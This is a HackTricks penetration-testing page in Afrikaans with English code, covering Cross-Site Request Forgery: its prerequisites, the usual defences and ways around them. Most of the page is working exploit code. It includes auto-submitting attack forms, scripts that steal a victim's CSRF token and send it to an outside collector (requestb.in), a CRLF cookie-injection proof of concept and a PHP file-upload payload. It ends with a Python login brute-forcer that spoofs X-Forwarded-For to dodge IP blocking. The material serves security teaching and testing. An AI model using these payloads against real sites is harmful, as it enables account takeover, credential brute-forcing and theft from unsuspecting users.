CSRF (Cross Site Request Forgery)

Reading time: 19 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cross-Site Request Forgery (CSRF) Verduidelik

Cross-Site Request Forgery (CSRF) is 'n tipe sekuriteitskwetsbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onbewuste gebruikers uit te voer deur hul geauthentiseerde sessies uit te buit. Die aanval word uitgevoer wanneer 'n gebruiker wat by die slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf stuur dan versoeke na die slagoffer se rekening deur metodes soos die uitvoering van JavaScript, die indiening van forms, of die laai van images.

Voorvereistes vir 'n CSRF-aanval

Om 'n CSRF-kwetsbaarheid uit te buit, moet verskeie voorwaardes gevul wees:

  1. Identify a Valuable Action: Die aanvaller moet 'n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord, e-pos te verander, of om voorregte te verhoog.
  2. Session Management: Die gebruiker se sessie moet slegs deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
  3. Absence of Unpredictable Parameters: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.

Vinnige Kontrole

Jy kan die versoek in Burp vasvang en CSRF-beskermings nagaan; om dit vanaf die blaaier te toets kan jy op Copy as fetch klik en die versoek nagaan:

Verdediging teen CSRF

Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:

  • SameSite cookies: Hierdie attribuut verhoed dat die blaaier cookies saam met kruis-domein versoeke stuur. More about SameSite cookies.
  • Cross-origin resource sharing: Die CORS-beleid van die slagoffer se webwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die response van die slagoffer se site gelees word. Learn about CORS bypass.
  • User Verification: Die gebruiker se wagwoord vra of 'n captcha oplos kan die gebruiker se bedoeling bevestig.
  • Checking Referrer or Origin Headers: Validering van hierdie headers kan help om te verseker dat versoeke van betroubare bronne kom. Tog kan sorgvuldig saamgestelde URLs swak geïmplementeerde kontroles omseil, soos:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Modifying Parameter Names: Die verander van parametername in POST- of GET-versoeke kan help om geoutomatiseerde aanvalle te voorkom.
  • CSRF Tokens: Die inkorporering van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verhoog word deur CORS af te dwing.

Om hierdie verdedigings te verstaan en te implementeer is van kritiek belang vir die handhawing van die sekuriteit en integriteit van webtoepassings.

Verdedigingsomseiling

Van POST na GET (method-conditioned CSRF validation bypass)

Sommige toepassings voer slegs CSRF-validasie op POST uit, terwyl hulle dit vir ander HTTP-verbs oorslaan. 'n Algemene anti-patroon in PHP lyk soos:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

As die kwesbare endpoint ook parameters van $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET-versoek heruitreik en die CSRF token heeltemal weglaat. Dit verander 'n slegs-POST-aksie in 'n GET-aksie wat sonder 'n token slaag.

Voorbeeld:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • Hierdie patroon kom dikwels saam met reflected XSS voor waar responses verkeerdelik as text/html bedien word in plaas van application/json.
  • Om dit met XSS te kombineer verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan lewer wat beide die kwesbare kodepaadjie aktiveer en CSRF kontroles heeltemal omseil.

Geen token

Aansoeke mag 'n meganisme implementeer om tokens te valideer wanneer dit teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit uitbuit deur die parameter wat die token dra te verwyder, nie net die waarde daarvan nie. Dit laat hulle toe om die validasieproses te omseil en effektief 'n Cross-Site Request Forgery (CSRF) aanval uit te voer.

CSRF token is nie aan die gebruiker se sessie gekoppel nie

Aansoeke wat CSRF tokens nie aan gebruiker sessies koppel nie, vorm 'n beduidende veiligheidsrisiko. Sulke stelsels verifieer tokens teen 'n globale pool eerder as om te verseker dat elke token aan die inisierende sessie gebind is.

Hoe aanvallers dit uitbuit:

  1. Authenticate met hul eie rekening.
  2. Verkry 'n geldige CSRF token uit die globale pool.
  3. Gebruik hierdie token in 'n CSRF aanval teen 'n slagoffer.

Hierdie kwesbaarheid maak dit moontlik vir aanvallers om ongemagtigde versoeke namens die slagoffer te maak deur die toepassing se ondoeltreffende token-validasiemeganisme uit te buit.

Metode bypass

As die versoek 'n "wierd" method gebruik, kyk of die method override-funksionaliteit werk. Byvoorbeeld, as dit 'n PUT method gebruik, kan jy probeer om 'n POST te gebruik en te stuur: https://example.com/my/dear/api/val/num?_method=PUT

Dit kan ook werk deur die _method parameter binne 'n POST versoek te stuur of deur die headers te gebruik:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Custom header token bypass

As die versoek 'n custom header met 'n token byvoeg as CSRF protection-metode, dan:

  • Toets die versoek sonder die Customized Token en ook sonder die header.
  • Toets die versoek met presies dieselfde lengte maar 'n ander token.

Aansoeke kan CSRF beskerming implementeer deur die token in beide 'n cookie en 'n versoekparameter te dupliseer of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die cookie.

Hierdie metode is egter vatbaar vir CSRF-aanvalle as die webwerf foutspasies het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se blaaier te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit uitbuit deur 'n misleidende beeld te laai wat die cookie stel, gevolg deur die inisiering van die CSRF-aanval.

Below is an example of how an attack could be structured:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Let wel: as die csrf token verband hou met die session cookie sal hierdie attack nie werk nie omdat jy die slagoffer se session aan jou moet koppel, en dus jouself sal aanval.

Content-Type change

Volgens this, om preflight versoeke met die POST-metode te voorkom is die volgende Content-Type-waardes toegelaat:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

However, note that the bedienerlogika kan verskil depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Om preflight requests vir JSON-data te omseil

Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om Content-Type: application/json in 'n HTML-form te gebruik nie. Net so veroorsaak die gebruik van XMLHttpRequest om hierdie content type te stuur 'n preflight request. Nietemin bestaan daar strategieë om hierdie beperking moontlik te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:

  1. Use Alternative Content Types: Gebruik Content-Type: text/plain of Content-Type: application/x-www-form-urlencoded deur enctype="text/plain" in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
  2. Modify Content Type: Om 'n preflight request te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met Content-Type: text/plain; application/json. Dit veroorsaak nie 'n preflight request nie maar kan dalk korrek deur die bediener verwerk word as dit gekonfigureer is om application/json te aanvaar.
  3. SWF Flash File Utilization: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na this post.

Referrer / Origin check bypass

Avoid Referrer header

Aansoeke mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie header stuur, kan die volgende HTML meta-tag gebruik word:

xml
<meta name="referrer" content="never">

Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringskontroles in sommige toepassings kan omseil.

Regexp bypasses

URL Format Bypass

Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit so doen:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Omseiling van HEAD-metode

Die eerste deel van this CTF writeup verduidelik dat Oak's source code, 'n router is ingestel om handle HEAD requests as GET requests met geen response body nie — 'n algemene ompad wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudig given to the GET handler but the app just removes the response body.

Daarom, as 'n GET request beperk word, kan jy net send a HEAD request that will be processed as a GET request.

Exploit Examples

Exfiltrating CSRF Token

As 'n CSRF token as defence gebruik word, kan jy probeer om exfiltrate it deur 'n XSS kwesbaarheid of 'n Dangling Markup kwesbaarheid te misbruik.

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Vorm GET-versoek

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Formulier POST-versoek

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Formulier POST-versoek deur iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST-versoek

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST versoek

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST versoek v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Form POST-versoek van binne 'n iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Steel CSRF Token en stuur 'n POST request

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Steel CSRF Token en stuur 'n Post request met 'n iframe, 'n form en Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Steel CSRF Token en stuur 'n POST request met behulp van 'n iframe en 'n form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Steel token en stuur dit met behulp van 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token met Ajax en stuur 'n post met 'n form

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF met Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer wat 'n CSRF token gebruik (Dit gebruik ook die header X-Forwarded-For om te probeer om 'n moontlike IP blacklisting te omseil):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Gereedskap

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks